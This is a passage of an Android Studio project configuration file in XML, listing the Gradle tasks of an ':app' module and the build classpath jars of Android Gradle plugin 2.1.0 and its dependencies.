value="incrementalDebugUnitTestJavaCompilationSafeguard" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="incrementalReleaseJavaCompilationSafeguard" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="incrementalReleaseUnitTestJavaCompilationSafeguard" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Installs the Debug build." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="installDebug" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Installs the android (on device) tests for the Debug build." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="installDebugAndroidTest" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="jarDebugClasses" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="jarReleaseClasses" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Runs lint on all variants." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="lint" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Runs lint on the Debug build." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="lintDebug" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Runs lint on the Release build." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="lintRelease" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Runs lint on just the fatal issues in the Release build." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="lintVitalRelease" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="mergeDebugAndroidTestAssets" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="mergeDebugAndroidTestJniLibFolders" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="mergeDebugAndroidTestResources" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="mergeDebugAndroidTestShaders" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="mergeDebugAssets" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="mergeDebugJniLibFolders" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="mergeDebugResources" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="mergeDebugShaders" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="mergeReleaseAssets" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="mergeReleaseJniLibFolders" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="mergeReleaseResources" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="mergeReleaseShaders" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Creates a version of android.jar that's suitable for unit tests." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="mockableAndroidJar" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Displays the configuration model of project ':app'. [incubating]" /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="model" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="packageDebug" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="packageDebugAndroidTest" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="packageRelease" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="preBuild" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="preDebugAndroidTestBuild" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="preDebugBuild" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="preDebugUnitTestBuild" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="prePackageMarkerForDebug" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="prePackageMarkerForDebugAndroidTest" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="prePackageMarkerForRelease" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="preReleaseBuild" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="preReleaseUnitTestBuild" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Prepare com.android.support:animated-vector-drawable:23.3.0" /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="prepareComAndroidSupportAnimatedVectorDrawable2330Library" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Prepare com.android.support:appcompat-v7:23.3.0" /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="prepareComAndroidSupportAppcompatV72330Library" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Prepare com.android.support:cardview-v7:23.1.1" /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="prepareComAndroidSupportCardviewV72311Library" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Prepare com.android.support:design:23.3.0" /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="prepareComAndroidSupportDesign2330Library" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Prepare com.android.support:recyclerview-v7:23.3.0" /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="prepareComAndroidSupportRecyclerviewV72330Library" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Prepare com.android.support:support-v4:23.3.0" /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="prepareComAndroidSupportSupportV42330Library" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Prepare com.android.support:support-vector-drawable:23.3.0" /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="prepareComAndroidSupportSupportVectorDrawable2330Library" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Prepare com.github.afollestad.material-dialogs:core:0.8.5.8" /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="prepareComGithubAfollestadMaterialDialogsCore0858Library" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Prepare com.github.rey5137:material:1.2.2" /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="prepareComGithubRey5137Material122Library" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Prepare com.joanzapata.iconify:android-iconify:2.2.2" /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="prepareComJoanzapataIconifyAndroidIconify222Library" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Prepare com.joanzapata.iconify:android-iconify-fontawesome:2.2.2" /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="prepareComJoanzapataIconifyAndroidIconifyFontawesome222Library" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Prepare com.joanzapata.iconify:android-iconify-ionicons:2.2.2" /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="prepareComJoanzapataIconifyAndroidIconifyIonicons222Library" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="prepareDebugAndroidTestDependencies" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="prepareDebugDependencies" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="prepareDebugUnitTestDependencies" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Prepare me.zhanghai.android.materialprogressbar:library:1.1.5" /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="prepareMeZhanghaiAndroidMaterialprogressbarLibrary115Library" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="prepareReleaseDependencies" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="prepareReleaseUnitTestDependencies" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="processDebugAndroidTestJavaRes" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="processDebugAndroidTestManifest" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="processDebugAndroidTestResources" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="processDebugJavaRes" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="processDebugManifest" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="processDebugResources" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="processDebugUnitTestJavaRes" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="processReleaseJavaRes" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="processReleaseManifest" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="processReleaseResources" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="processReleaseUnitTestJavaRes" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Displays the sub-projects of project ':app'." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="projects" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Displays the properties of project ':app'." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="properties" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Displays the signing info for each variant." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="signingReport" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Prints out all the source sets defined in this project." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="sourceSets" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Displays the tasks runnable from project ':app'." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="tasks" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Run unit tests for all variants." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="test" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Run unit tests for the debug build." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="testDebugUnitTest" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Run unit tests for the release build." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="testReleaseUnitTest" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="transformClassesWithDexForDebug" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="transformClassesWithDexForDebugAndroidTest" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="transformClassesWithDexForRelease" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="transformNative_libsWithMergeJniLibsForDebug" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="transformNative_libsWithMergeJniLibsForDebugAndroidTest" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="transformNative_libsWithMergeJniLibsForRelease" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="transformResourcesWithMergeJavaResForDebug" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="transformResourcesWithMergeJavaResForDebugAndroidTest" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="transformResourcesWithMergeJavaResForDebugUnitTest" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="transformResourcesWithMergeJavaResForRelease" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="transformResourcesWithMergeJavaResForReleaseUnitTest" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Uninstall all applications." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="uninstallAll" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Uninstalls the Debug build." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="uninstallDebug" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Uninstalls the android (on device) tests for the Debug build." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="uninstallDebugAndroidTest" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Uninstalls the Release build." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="uninstallRelease" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="validateDebugSigning" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="zipalignDebug" /> </ExternalTaskPojo> </list> </value> </entry> </map> </option> <option name="modificationStamps"> <map> <entry key="$PROJECT_DIR$" value="4377878861000" /> </map> </option> <option name="projectBuildClasspath"> <map> <entry key="$PROJECT_DIR$"> <value> <ExternalProjectBuildClasspathPojo> <option name="modulesBuildClasspath"> <map> <entry key="$PROJECT_DIR$"> <value> <ExternalModuleBuildClasspathPojo> <option name="entries"> <list> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/android/tools/build/gradle/2.1.0/gradle-2.1.0.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/android/tools/build/gradle-core/2.1.0/gradle-core-2.1.0.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/jacoco/org.jacoco.core/0.7.4.201502262128/org.jacoco.core-0.7.4.201502262128-sources.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/jacoco/org.jacoco.core/0.7.4.201502262128/org.jacoco.core-0.7.4.201502262128.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/ow2/asm/asm-commons/5.0.3/asm-commons-5.0.3-sources.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/ow2/asm/asm-commons/5.0.3/asm-commons-5.0.3.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/android/tools/build/gradle-api/2.1.0/gradle-api-2.1.0.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/android/tools/lint/lint/25.1.0/lint-25.1.0.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/android/databinding/compilerCommon/2.1.0/compilerCommon-2.1.0.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/ow2/asm/asm/5.0.3/asm-5.0.3-sources.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/ow2/asm/asm/5.0.3/asm-5.0.3.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/net/sf/proguard/proguard-gradle/5.2.1/proguard-gradle-5.2.1-sources.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/net/sf/proguard/proguard-gradle/5.2.1/proguard-gradle-5.2.1.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/android/tools/build/transform-api/2.0.0-deprecated-use-gradle-api/transform-api-2.0.0-deprecated-use-gradle-api.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/android/tools/build/builder/2.1.0/builder-2.1.0.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/ow2/asm/asm-debug-all/5.0.1/asm-debug-all-5.0.1-sources.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/ow2/asm/asm-debug-all/5.0.1/asm-debug-all-5.0.1.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/ow2/asm/asm-tree/5.0.3/asm-tree-5.0.3-sources.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/ow2/asm/asm-tree/5.0.3/asm-tree-5.0.3.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/google/guava/guava/17.0/guava-17.0-sources.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/google/guava/guava/17.0/guava-17.0.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/android/tools/annotations/25.1.0/annotations-25.1.0.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/android/tools/lint/lint-checks/25.1.0/lint-checks-25.1.0.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/eclipse/jdt/core/compiler/ecj/4.4.2/ecj-4.4.2-sources.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/eclipse/jdt/core/compiler/ecj/4.4.2/ecj-4.4.2.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/googlecode/juniversalchardet/juniversalchardet/1.0.3/juniversalchardet-1.0.3.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/tunnelvisionlabs/antlr4/4.5/antlr4-4.5.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/commons-io/commons-io/2.4/commons-io-2.4-sources.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/commons-io/commons-io/2.4/commons-io-2.4.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/android/databinding/baseLibrary/2.1.0/baseLibrary-2.1.0.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/net/sf/proguard/proguard-base/5.2.1/proguard-base-5.2.1-sources.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/net/sf/proguard/proguard-base/5.2.1/proguard-base-5.2.1.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/android/tools/build/builder-model/2.1.0/builder-model-2.1.0.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/android/tools/common/25.1.0/common-25.1.0.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/android/tools/ddms/ddmlib/25.1.0/ddmlib-25.1.0.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/bouncycastle/bcprov-jdk15on/1.48/bcprov-jdk15on-1.48-sources.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/bouncycastle/bcprov-jdk15on/1.48/bcprov-jdk15on-1.48.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/android/tools/sdklib/25.1.0/sdklib-25.1.0.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/squareup/javawriter/2.5.0/javawriter-2.5.0-sources.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/squareup/javawriter/2.5.0/javawriter-2.5.0.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/android/tools/build/builder-test-api/2.1.0/builder-test-api-2.1.0.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/android/tools/sdk-common/25.1.0/sdk-common-25.1.0.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/android/tools/build/manifest-merger/25.1.0/manifest-merger-25.1.0.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/android/tools/jack/jack-api/0.10.0/jack-api-0.10.0.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/bouncycastle/bcpkix-jdk15on/1.48/bcpkix-jdk15on-1.48-sources.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/bouncycastle/bcpkix-jdk15on/1.48/bcpkix-jdk15on-1.48.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/android/tools/jill/jill-api/0.10.0/jill-api-0.10.0.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/ow2/asm/asm-analysis/5.0.3/asm-analysis-5.0.3-sources.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/ow2/asm/asm-analysis/5.0.3/asm-analysis-5.0.3.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/android/tools/lint/lint-api/25.1.0/lint-api-25.1.0.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/tunnelvisionlabs/antlr4-runtime/4.5/antlr4-runtime-4.5.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/tunnelvisionlabs/antlr4-annotations/4.5/antlr4-annotations-4.5.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/antlr/antlr-runtime/3.5.2/antlr-runtime-3.5.2.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/antlr/ST4/4.0.8/ST4-4.0.8.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/net/sf/kxml/kxml2/2.3.0/kxml2-2.3.0-sources.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/net/sf/kxml/kxml2/2.3.0/kxml2-2.3.0.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/android/tools/repository/25.1.0/repository-25.1.0.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/apache/httpcomponents/httpclient/4.1.1/httpclient-4.1.1-sources.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/apache/httpcomponents/httpclient/4.1.1/httpclient-4.1.1.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/apache/httpcomponents/httpmime/4.1/httpmime-4.1-sources.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/apache/httpcomponents/httpmime/4.1/httpmime-4.1.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/google/code/gson/gson/2.2.4/gson-2.2.4-sources.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/google/code/gson/gson/2.2.4/gson-2.2.4.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/apache/commons/commons-compress/1.8.1/commons-compress-1.8.1-sources.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/apache/commons/commons-compress/1.8.1/commons-compress-1.8.1.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/android/tools/dvlib/25.1.0/dvlib-25.1.0.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/android/tools/layoutlib/layoutlib-api/25.1.0/layoutlib-api-25.1.0.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/android/tools/external/lombok/lombok-ast/0.2.3/lombok-ast-0.2.3-sources.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/android/tools/external/lombok/lombok-ast/0.2.3/lombok-ast-0.2.3.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/abego/treelayout/org.abego.treelayout.core/1.0.1/org.abego.treelayout.core-1.0.1.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/apache/httpcomponents/httpcore/4.1/httpcore-4.1-sources.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/apache/httpcomponents/httpcore/4.1/httpcore-4.1.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/commons-logging/commons-logging/1.1.1/commons-logging-1.1.1-sources.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/commons-logging/commons-logging/1.1.1/commons-logging-1.1.1.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/commons-codec/commons-codec/1.4/commons-codec-1.4-sources.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/commons-codec/commons-codec/1.4/commons-codec-1.4.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/intellij/annotations/12.0/annotations-12.0-sources.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/intellij/annotations/12.0/annotations-12.0.jar" /> </list> </option> <option name="path" value="$PROJECT_DIR$" /> </ExternalModuleBuildClasspathPojo> </value> </entry> <entry key="$PROJECT_DIR$/app"> <value> <ExternalModuleBuildClasspathPojo> <option name="entries"> <list> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/android/tools/build/gradle/2.1.0/gradle-2.1.0.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/android/tools/build/gradle-core/2.1.0/gradle-core-2.1.0.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/jacoco/org.jacoco.core/0.7.4.201502262128/org.jacoco.core-0.7.4.201502262128-sources.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/jacoco/org.jacoco.core/0.7.4.201502262128/org.jacoco.core-0.7.4.201502262128.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/ow2/asm/asm-commons/5.0.3/asm-commons-5.0.3-sources.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/ow2/asm/asm-commons/5.0.3/asm-commons-5.0.3.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/android/tools/build/gradle-api/2.1.0/gradle-api-2.1.0.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/android/tools/lint/lint/25.1.0/lint-25.1.0.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/android/databinding/compilerCommon/2.1.0/compilerCommon-2.1.0.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/ow2/asm/asm/5.0.3/asm-5.0.3-sources.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/ow2/asm/asm/5.0.3/asm-5.0.3.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/net/sf/proguard/proguard-gradle/5.2.1/proguard-gradle-5.2.1-sources.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/net/sf/proguard/proguard-gradle/5.2.1/proguard-gradle-5.2.1.jar" /> <option 